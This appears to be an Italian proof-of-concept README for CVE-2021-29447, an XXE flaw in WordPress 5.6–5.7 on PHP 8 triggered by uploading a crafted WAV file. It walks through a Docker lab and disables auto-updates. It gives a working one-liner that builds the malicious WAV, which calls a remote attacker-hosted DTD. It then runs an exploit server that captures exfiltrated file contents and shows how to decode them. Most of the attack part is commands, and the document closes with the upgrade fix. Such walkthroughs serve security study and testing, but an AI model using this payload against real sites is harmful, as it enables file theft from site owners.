
Proof-of-concept exploit per CVE-2021-29447, una vulnerabilità di iniezione XXE in WordPress 5.6–5.7 tramite il caricamento di un file WAV dannoso, che consente la divulgazione arbitraria di file su PHP 8.0+.
CVE-2021-29447 è una vulnerabilità di iniezione XXE (XML External Entity) che interessa le versioni di WordPress 5.6–5.7 (corretta nella 5.7.1) quando è in esecuzione PHP 8.0+. La vulnerabilità risiede nella libreria getID3 utilizzata per l'analisi dei metadati multimediali.
WordPress elabora i chunk iXML dei file WAV tramite getID3, che invoca simplexml_load_string() con il flag LIBXML_NOENT. Questo flag abilita esplicitamente la sostituzione di entità esterne, bypassando le protezioni XXE predefinite di PHP 8 (deprecata libxml_disable_entity_loader()).
Questo PoC dimostra la vulnerabilità utilizzando WordPress 5.7 + PHP 8.0.3 in Docker. Gli utenti Linux possono utilizzare uno script a file singolo che genera anche i file WAV/DTD.
▶️: https://youtu.be/YnGowuWHFyY
Installa Docker Desktop su host Windows
Crea una directory di progetto dedicata (tutti i comandi PowerShell vengono eseguiti qui):
#powershell
mkdir cve-2021-29447-poc
cd cve-2021-29447-poc
Distribuisci WordPress vulnerabile:
#powershell
notepad docker-compose.yml
Copia e incolla il contenuto di docker-compose.yml
Avvia i container:
#powershell
docker-compose up -d
Disabilita gli aggiornamenti automatici (critico per la persistenza della vulnerabilità):
#powershell
docker-compose exec wordpress bash
#bash
sed -i "s/WP_AUTO_UPDATE_CORE', true/WP_AUTO_UPDATE_CORE', false/g" /var/www/html/wp-config-sample.php
echo "define('AUTOMATIC_UPDATER_DISABLED', true);" >> /var/www/html/wp-config-sample.php
echo "define('WP_AUTO_UPDATE_CORE', false);" >> /var/www/html/wp-config-sample.php
tail -5 /var/www/html/wp-config-sample.php
exit
Verifica le versioni vulnerabili:
#powershell
docker-compose exec wordpress bash -c "grep wp_version /var/www/html/wp-includes/version.php && php -v"
Previsto: WordPress 5.7, PHP 8.0+
Installazione di WordPress:
Naviga su: http://localhost:8080
Amministratore: test / test / [email protected]
Completa la configurazione → Accedi a /wp-admin
Scoperta dell'IP dell'attaccante:
#powershell
ipconfig | findstr IPv4
Annota il tuo IP (es. 192.168.1.196)
Crea il payload DTD:
#powershell
notepad evil.dtd
Copia e incolla il contenuto di evil.dtd
Genera il payload WAV (CLI Linux):
#bash
echo -en 'RIFF\xb8\x00\x00\x00WAVEiXML\x7b\x00\x00\x00<?xml version="1.0"?><!DOCTYPE ANY[<!ENTITY % remote SYSTEM '"'"'http://YOUR_IP:PORT/evil.dtd'"'"'>%remote;%init;%trick;]>\x00' > payload.wav
Trasferisci tramite python3 -m http.server 8000 → download dal browser Windows (es. http://<VM_IP>:8000)
Nota: WAV creato separatamente a causa della complessità dell'escape binario in ambienti Windows
Distribuisci il server di exploit:
#powershell
notepad exploit.py
Copia e incolla il contenuto di exploit.py
Comando:
#powershell
python exploit.py -l YOUR_IP -p PORT
Attiva XXE:
http://localhost:8080/wp-admin → Media → Aggiungi nuovo
Carica payload.wav
Monitora la console del server Python -> cattura i dati esfiltrati
Decodifica il payload Base64+Zlib:
#powershell
$bd='PASTE_BASE64_HERE';$bytes=[Convert]::FromBase64String($bd);$decoded=[System.IO.Compression.DeflateStream]::new([System.IO.MemoryStream]::new($bytes,$false),[System.IO.Compression.CompressionMode]::Decompress);[System.IO.StreamReader]::new($decoded).ReadToEnd()
Aggiorna a WordPress 5.7.1+ o disabilita LIBXML_NOENT nell'analisi getID3.